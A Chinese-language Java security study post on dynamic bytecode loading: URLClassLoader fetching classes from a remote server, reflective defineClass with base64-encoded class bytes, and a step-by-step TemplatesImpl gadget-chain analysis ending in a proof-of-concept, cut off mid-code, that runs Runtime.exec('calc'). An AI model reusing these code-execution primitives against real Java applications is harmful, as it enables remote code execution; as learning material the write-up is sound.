动态加载字节码

Java学习

动态加载字节码

字节码

Java字节码指的是JVM执行使用的一类指令,通常被存储在.class文件中。

加载远程/本地文件

在前面类加载机制的学习中,正常情况下URLClassLoader是AppClassLoader的父类。

通常情况下,Java会根据配置项sun.boot.class.path和java.class.path中列举的基础路径(这些路径是经过处理后的java.net.URL类)来寻找.class文件来加载,这个基础路径有分三种情况:

  • URL未以斜杠/结尾,则认为是一个Jar文件,使用JarLoader来寻找类,即在Jar包上寻找类。
  • URL以/结尾,且协议名为file,则使用FileLoader来寻找类,即在本地系统中寻找.class文件
  • URL以斜杠/结尾,且协议名不为file,则使用最基础的Loader来寻找类

本地加载 .class 文件

其实都是前面说过的了,主要是加载class文件,所以class文件不能有包名。

Reflection.java内容:

1
2
3
4
5
6
7
public class Reflection {
    private String name = "fupanc";

    public Reflection(){
        System.out.println("调用了Reflection的构造函数");
    }
}

Main.java内容;

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package java_foundation;

import java.net.URLClassLoader;
import java.net.URL;

public class Main {
    public static void main(String[] args) throws Exception{
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file://D:\\")});
        Class clazz = urlClassLoader.loadClass("Reflection");
        clazz.newInstance();
    }
}

可以先使用javac将Reflection.java打成Reflection.class然后放在D盘。

我的maven项目是自动编译然后放在项目中的target目录下的,这里直接找就行。

启动成功输出:

1
调用了Reflection的构造函数

但是我发现可以如下加载:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
//这个Reflection类是由包名的
package java_foundation;

import java.net.URLClassLoader;
import java.net.URL;

public class Main {
    public static void main(String[] args) throws Exception{
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file://D:\\")});
        Class clazz = urlClassLoader.loadClass("java_foundation.Reflection");
        clazz.newInstance();
    }
}

以此类推吧,对于class文件也不一定是必须没有包名,加载时加上软件包即可,后面就不补充了。

远程加载 .class 文件

其实都是差不多的,这里试一下远程加载自己vps上的class文件,但感觉应该不行,应该是有什么安全策略的。自己编写一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package java_foundation;

import java.net.URLClassLoader;
import java.net.URL;

public class Main {
    public static void main(String[] args) throws Exception{
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://47.100.223.173/Reflection.class")});
        Class clazz = urlClassLoader.loadClass("Reflection");
        clazz.newInstance();
    }
}

然后将本地的Reflection.java文件删除,再来运行,发现报错如下:

1
2
3
4
5
Exception in thread "main" java.lang.ClassNotFoundException: Reflection
	at java.net.URLClassLoader.findClass(URLClassLoader.java:381)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:424)
	at java.lang.ClassLoader.loadClass(ClassLoader.java:357)
	at java_foundation.Main.main(Main.java:9)

可能是URL路径问题,这是我看了一下前面讲的基础路径,尝试一下用jar包呢,所以我将构建jar包的代码改成如下:

1
2
3
4
5
public class MyTest{
    public MyTest(){
        System.out.println("调用了远程url类的构造函数");
    }
}

然后传到服务器上即可,如下尝试:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package java_foundation;

import java.net.URLClassLoader;
import java.net.URL;

public class Main {
    public static void main(String[] args) throws Exception{
        URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://47.100.223.173/jar_build.jar")});
        Class clazz = urlClassLoader.loadClass("MyTest");
        clazz.newInstance();
    }
}

成功调用并输出:

1
调用了远程url类的构造函数

这样用符合基础路径的格式成功调用了远程的class代码。感觉利用点很大呢。

利用defineClass()直接加载字节码

在之前的调试中,可以知道Java加载都需要经过:

1
ClassLoader.loadClass  ->  ClassLoader.findClass  ->  ClassLoader.defineClass

其中:

  • loadClass的作用是从已经加载的类缓存、父加载器等位置寻找类(双亲委派机制),在前面没有找到的情况下执行findClass
  • findClass的作用就是根据基础URL制定的方式来查找类,读取字节码后交给defineClass
  • defineClass的作用是处理前面传入的字节码,将其处理成真正的Java类

defineClass决定如何将一段字节流转换变成一个Java类,Java默认的ClassLoader.defineClass是一个native方法(C语言实现):

image-20241225175157418

利用方法如下:

利用反射获取defineClass方法

1
2
3
4
5
6
7
8
import java.lang.reflect.Method;
    
public class Main{
    public static void main(String[] args){
        Method method = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class, int.class, int.class);
        method.setAccessible(true);
    }
}

此时Text.java内容为:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import java.lang.Runtime;

public class Text{
    static{
        try{
            Runtime.getRuntime().exec("calc");
    }catch(Exception e){
            System.out.println("异常退出");
        }
    }
}
//还是需要注意class文件要没有包名

将其转换为class文件后再转换为base64编码,如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package java_foundation;

import java.nio.file.*;
import java.util.Base64;

public class FileToBase64 {
    public static void main(String[] args) {
        String filePath = "D:\\maven_text\\maven1_text\\target\\test-classes\\Text.class"; // 请替换成你实际的文件路径

        try {
            byte[] fileBytes = readFileToByteArray(filePath);

            String base64Encoded = encodeBase64(fileBytes);

            System.out.println("Base64 Encoded Content:");
            System.out.println(base64Encoded);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static byte[] readFileToByteArray(String filePath) throws Exception {
        return Files.readAllBytes(Paths.get(filePath));
    }

    public static String encodeBase64(byte[] data) {
        return Base64.getEncoder().encodeToString(data);
    }
}
//也可以javac编译,然后cat输出是Base64编码一下,就是需要注意idea和javac运行的JDK版本要相同。

再使用base64解码就可以得到完整的字节码了,如下:

1
byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKgoACAAbCgAcAB0IAB4KABwAHwcAIAoABQAhBwAiBwAjAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAZMVGVzdDsBAAg8Y2xpbml0PgEAAXgBABNMamF2YS9sYW5nL1J1bnRpbWU7AQABeQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAgAQAKU291cmNlRmlsZQEACVRlc3QuamF2YQwACQAKBwAkDAAlACYBAARjYWxjDAAnACgBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAApAAoBAARUZXN0AQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAIAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAEAA0AAAAMAAEAAAAFAA4ADwAAAAgAEAAKAAEACwAAAIEAAgACAAAAFrgAAksSA0wqK7YABFenAAhLKrYABrEAAQAAAA0AEAAFAAMADAAAAB4ABwAAAAcABAAIAAcACQANAAwAEAAKABEACwAVAA0ADQAAACAAAwAEAAkAEQASAAAABwAGABMAFAABABEABAAVABYAAAAXAAAABwACUAcAGAQAAQAZAAAAAgAa");

加载字节码成Class对象,然后实例化拿到一个对象

1
2
3
Class Test = (Class)method.invoke(ClassLoader.getSystemClassLoader(), "Test", code, 0, code.length);
Test.newInstance();
//ClassLoader.getSystemClassLoader()返回系统的类加载器对象

这里是因为defineClass()方法是一个实例方法。所以可以需要用一个实例对象即可,所以最终如下输出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package java_foundation;

import java.lang.ClassLoader;
import java.util.Base64;
import java.lang.reflect.Method;

public class Main {
    public static void main(String[] args) throws Exception{
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAMQoACgAZCgAaABsIABwKABoAHQcAHgkAHwAgCAAhCgAiACMHACQHACUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEABkxUZXh0OwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2xhbmcvRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB4BAApTb3VyY2VGaWxlAQAJVGV4dC5qYXZhDAALAAwHACYMACcAKAEABGNhbGMMACkAKgEAE2phdmEvbGFuZy9FeGNlcHRpb24HACsMACwALQEADOW8guW4uOmAgOWHugcALgwALwAwAQAEVGV4dAEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWACEACQAKAAAAAAACAAEACwAMAAEADQAAAC8AAQABAAAABSq3AAGxAAAAAgAOAAAABgABAAAAAwAPAAAADAABAAAABQAQABEAAAAIABIADAABAA0AAABlAAIAAQAAABa4AAISA7YABFenAAxLsgAGEge2AAixAAEAAAAJAAwABQADAA4AAAAWAAUAAAAGAAkACQAMAAcADQAIABUACgAPAAAADAABAA0ACAATABQAAAAVAAAABwACTAcAFggAAQAXAAAAAgAY");
        Method method = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
        method.setAccessible(true);
        Class clazz = (Class)method.invoke(ClassLoader.getSystemClassLoader(),"Text",code,0,code.length);
        clazz.newInstance();
    }
}

成功弹出计算机。

使用javac目录的话就需要注意JDK的版本问题,需要一致。

在前面的POC中调用方法时是用的AppClassLoader实例,也是才知道原来这里返回的ClassLoader是一个实例,那么这里为什么这样用呢。大概想一下就可以知道,由于defineClass()方法是一个普通方法,所以当调用invoke()方法时需要一个实例,即需要一个ClassLoader的实例来调用它。这里就是用AppClassLoader类加载器来加载Text类,大概就是这个意思。

————————

同样的可以直接利用IO进行文件读取,如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
package java_foundation;

import java.lang.ClassLoader;
import java.lang.reflect.Method;
import java.nio.file.Files;
import java.nio.file.Paths;

public class Main {
    public static void main(String[] args) throws Exception{
        byte[] code = Files.readAllBytes(Paths.get("D:\\maven_text\\maven1_text\\target\\test-classes\\Text.class"));
        Method method = ClassLoader.class.getDeclaredMethod("defineClass",String.class,byte[].class,int.class,int.class);
        method.setAccessible(true);
        Class clazz = (Class)method.invoke(ClassLoader.getSystemClassLoader(),"Text",code,0,code.length);
        clazz.newInstance();
    }
}

同时要想到这里既然可以利用defineClass()方法直接加载字节码,那么我们在自定义类加载器的时候也要想到这一点,也许就可以直接利用。

defineClass被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造函数,初始化代码才能被执行,而且即使我们将初始化代码放在类的static块中,在defineClass时也无法被直接调用到。所以,如果我们想要使用defineClass在目标机器上执行任意代码,需要想办法调用构造函数。

一定要注意的是:由于系统的ClassLoader#defineClass是一个保护属性,所以我们不能直接在外部访问,必须使用反射的形式来调用。

在实际场景中,因为defineClass方法作用域是不开放的,所以攻击者很少能直接利用到它,但它却是我们常用的一个攻击链TemplateImpl的基石

利用TemplatesImpl加载字节码

虽然大部分上层开发者不会直接使用到defineClass方法,但是Java底层还是有一些类用到了它,这就是TemplatesImpl

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl这个类中定义了一个内部类TransletClassLoader,源代码如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static final class TransletClassLoader extends ClassLoader {
    private final Map<String,Class> _loadedExternalExtensionFunctions;

    TransletClassLoader(ClassLoader parent) {
        super(parent);
        _loadedExternalExtensionFunctions = null;
    }

    TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
        super(parent);
        _loadedExternalExtensionFunctions = mapEF;
    }

    public Class<?> loadClass(String name) throws ClassNotFoundException {
        Class<?> ret = null;
        if (_loadedExternalExtensionFunctions != null) {
            ret = _loadedExternalExtensionFunctions.get(name);
        }
        if (ret == null) {
            ret = super.loadClass(name);
        }
        return ret;
    }
    
    Class defineClass(final byte[] b) {
        return defineClass(null, b, 0, b.length);
    }
}

这个类继承自ClassLoader类,并且重写了defineClass方法,是一个静态类,并且这里没有显示地声明其定义域,那么它的作用域就是default,可以被类外部调用。

注意看它的defineClass()方法,和前面说的利用的defineClass调用的方法是一样的,这里可以尝试调用,但是这里是只传入了byte,应该也是可以利用的,本来这个重点应该就是字节码。

那么现在从 TransletClassLoader#defineClass() 向前追溯一下调用链:

1
2
3
TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

那现在来跟一下这个调用链,从后往前。

我们看TemplatesImpl#defineTransletClasses()

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {//注意这里
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }

几个比较关键的代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

+++++++

for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);

可以看到这里是调用了TransletClassLoader类的defineClass()方法,这里不就正好对应前面调用的方法了吗。

然后看其他点:

首先需要_bytecodes不等于null

以及在这个TemplatesImpl类中的属性:

image-20241225213207022

否则是无法进行后面几步的。

但是在TemplatesImpl类中,这个变量的定义如下:

1
private byte[][] _bytecodes = null;

这里的_bytecodes定义为私有的并且没有其他方法可以直接修改它,在这里可以利用反射获取并修改那个变量。

还有的其他需要注意的点,defineTransletClasses方法中会执行一个run方法:

image-20241225213825732

也就是之前说的实例化TransletClassLoader类的代码。这里为了防止报错所以_tfactory不能为空,来看一下TemplatesImple类中的_tfactory的初值:

1
private transient TransformerFactoryImpl _tfactory = null;

可以看出来这里的变量_tfactory需要是一个TranformerFactoryImpl类型的数据,并且在run方法中要执行的就是_tfactory变量的方法。所以这里直接将这个_tfactory变量赋值为TransformerFactoryImpl类实例即可。

现在继续看哪里使用过这个defineTransletClasses()方法,搜索一下,如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//第一个:
private synchronized Class[] getTransletClasses() {
        try {
            if (_class == null) defineTransletClasses();
        }
        catch (TransformerConfigurationException e) {
            // Falls through
        }
        return _class;
    }
//第二个:
    public synchronized int getTransletIndex() {
        try {
            if (_class == null) defineTransletClasses();
        }
        catch (TransformerConfigurationException e) {
            // Falls through
        }
        return _transletIndex;
    }

//第三个(部分代码):
private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;
            if (_class == null) defineTransletClasses();
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
...............
            return translet;
        }
        catch (TransformerConfigurationException e) {
            // Falls through
        }
    }

第一个方法为私有,往上调用,没有什么方法使用过,那么就只有放弃。

第二个方法为public,可以直接调用,但是有限制,后面会说。

第三个方法向上调用发现有一个方法调用了,并且是一个public方法,如下:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);

        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }

        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }

那么现在的思路就是实例化TemplatesImpl对象后直接调用它的方法就能直接使用。

现在来看看使用的条件是什么,

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
对于第三个
    
1在newTransformer()方法中
    TransformerImpl transformer;

        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);//进入下一个方法并不需要条件继续,这里就直接诶调用get

2 getTransletInstance()方法中
    if (_name == null) return null;

            if (_class == null) defineTransletClasses();
//这里要求_name不能为null,_class需要为null然后继续跟进
    
3 defineTransletClasses() 方法中
    if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }//_bytecodes不能为null

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());//_tfactory需要赋值为TransformerFactoryImpl对象
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                //在这里调用了defineClass方法
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }    

现在来总结一下上面遇到的变量

1
2
3
4
private String _name = null;
private Class[] _class = null;
private byte[][] _bytecodes = null;
private transient TransformerFactoryImpl _tfactory = null;

这里可以看到这些变量都是私有类,而且没有构造方法,所以只能用反射获取改值。所以最终可以这样构造:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package java_foundation;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;

public class Main {
    public static void main(String[] args) throws Exception {
        byte[] bytecodes = Base64.getDecoder().decode("xxxx");
        TemplatesImpl mpl =new TemplatesImpl();
        setFieldValue(mpl,"_name","fupanc");
        setFieldValue(mpl,"_bytecodes",new byte[][]{bytecodes});
        setFieldValue(mpl,"_class",null);
        setFieldValue(mpl,"_tfactory",new TransformerFactoryImpl());
        mpl.newTransformer();
    }
    public static void setFieldValue(Object mpl,String name,Object value) throws Exception {
        Field field = mpl.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(mpl,value);
    }
}

但是现在又遇到一个问题,就算成功加载了Class对象,这里并不能直接调用构造函数,即没有初始化,这样并不能利用我们自己构造的代码,那么该如何解决,继续看代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }

可以看到代码后半部分实例化了一个对象给translet,并且最后返回的也是translet,所以还是这里的newInstance()有用(重点,就是利用这个构造方法来实例化对象时来利用,这也是为什么将恶意代码设置在构造方法中),所以要确保进入defineTransletClasses()并不会报错,现在继续来看defineTransletClasses()方法

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount > 1) {
                _auxClasses = new HashMap<>();
            }

            for (int i = 0; i < classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {//这里要求_transletIndex不能小于0
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }

在这个代码中,虽然我们在前面为了符合条件将_class赋值为了null,但是在defineTransletClasses()方法中重新对这个_class赋值了:

image-20241225220955771

这里不多说。后面就懂了。然后看下面这部分代码:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex < 0) {//这里要求_transletIndex不能小于0
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }

这里_transletIndex不能小于0,并且在前面可以看到赋值语句:

1
_transletIndex = i;

这里刚好与前面的_class[_transletIndex]相对应,并且什么,前面的代码逻辑也完全符合,如下:

image-20241225221131460

也就是说先调用了defineTransletClasses()方法,让_class不再为null,所以可以有值。

也就是可以理解为只要条件满足,_bytecodes对应的代码都会传给_class[i],也就是_class[_transletIndex],然后就会再对这个类进行实例化,这样就可以成功运行。现在来看给这个赋值的if的条件语句,如下:

1
2
3
4
5
6
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
再看
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

所以这里就需要_bytecodes[i]的父类需要为AbstractTranslet才行

1
2
private static String ABSTRACT_TRANSLET
        = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";

所以使用的POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }
    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }
}

这里为什么要多两个transform方法,原因如下;

1
2
3
4
5
这里是因为子类需要实现父类里面的抽象方法,同时因为父类是抽象类,可能没有将接口的方法全部实现,
这时子类如果不是抽象的,那必须将其他接口方法都实现。
这里面 transform(DOM document, DTMAxisIterator iterator,SerializationHandler handler)
是父类里面的抽象方法所以要重写
transform(DOM document, SerializationHandler[] handlers)是父类没有实现接口的方法所以要重写

最终的POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package java_foundation;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;

public class Main {
    public static void main(String[] args) throws Exception {
        byte[] bytecodes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAWTGphdmFfZm91bmRhdGlvbi9UZXh0OwEACkV4Y2VwdGlvbnMHACUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7BwAmAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAJVGV4dC5qYXZhDAAHAAgHACcMACgAKQEABGNhbGMMACoAKwEAFGphdmFfZm91bmRhdGlvbi9UZXh0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAACgAEAAsADQAMAAsAAAAMAAEAAAAOAAwADQAAAA4AAAAEAAEADwABABAAEQACAAkAAAA/AAAAAwAAAAGxAAAAAgAKAAAABgABAAAADwALAAAAIAADAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABQAFQACAA4AAAAEAAEAFgABABAAFwACAAkAAABJAAAABAAAAAGxAAAAAgAKAAAABgABAAAAEgALAAAAKgAEAAAAAQAMAA0AAAAAAAEAEgATAAEAAAABABgAGQACAAAAAQAaABsAAwAOAAAABAABABYAAQAcAAAAAgAd");
        TemplatesImpl mpl =new TemplatesImpl();
        setFieldValue(mpl,"_name","fupanc");
        setFieldValue(mpl,"_bytecodes",new byte[][]{bytecodes});
        setFieldValue(mpl,"_class",null);
        setFieldValue(mpl,"_tfactory",new TransformerFactoryImpl());
        mpl.newTransformer();
    }
    public static void setFieldValue(Object mpl,String name,Object value) throws Exception {
